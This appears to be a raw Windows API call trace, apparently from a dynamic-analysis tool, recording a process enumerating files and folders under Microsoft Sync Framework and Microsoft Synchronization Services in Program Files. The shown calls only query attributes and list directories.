	[0053.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), fInfoLevelId=0x0, lpFileInformation=0x12867278 | out: lpFileInformation=0x12867278*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.535] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.535] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.535] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1
	[0053.535] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.535] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x12867318 | out: lpFileInformation=0x12867318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7)) returned 1
	[0053.535] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), fInfoLevelId=0x0, lpFileInformation=0x12867368 | out: lpFileInformation=0x12867368*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.536] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.536] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
	[0053.536] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.536] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.536] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), fInfoLevelId=0x0, lpFileInformation=0x12867408 | out: lpFileInformation=0x12867408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1
	[0053.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0053.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1
	[0053.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1
	[0053.538] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.539] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\FeedSync.dll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\feedsync.dll"), fInfoLevelId=0x0, lpFileInformation=0x12867598 | out: lpFileInformation=0x12867598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770)) returned 1
	[0053.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\Microsoft.Synchronization.dll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\microsoft.synchronization.dll"), fInfoLevelId=0x0, lpFileInformation=0x128675e8 | out: lpFileInformation=0x128675e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760)) returned 1
	[0053.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\Synchronization.dll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\synchronization.dll"), fInfoLevelId=0x0, lpFileInformation=0x12867638 | out: lpFileInformation=0x12867638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60)) returned 1
	[0053.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), fInfoLevelId=0x0, lpFileInformation=0x12867688 | out: lpFileInformation=0x12867688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.541] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.541] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0053.541] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.541] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x12867728 | out: lpFileInformation=0x12867728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.541] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.541] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1
	[0053.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.542] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\synchronization.rll"), fInfoLevelId=0x0, lpFileInformation=0x128677c8 | out: lpFileInformation=0x128677c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170)) returned 1
	[0053.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), fInfoLevelId=0x0, lpFileInformation=0x12867818 | out: lpFileInformation=0x12867818*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x127d39e0 | out: lpFindFileData=0x127d39e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1
	[0053.542] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3a00 | out: lpFindFileData=0x127d3a00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.542] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), fInfoLevelId=0x0, lpFileInformation=0x128678b8 | out: lpFileInformation=0x128678b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
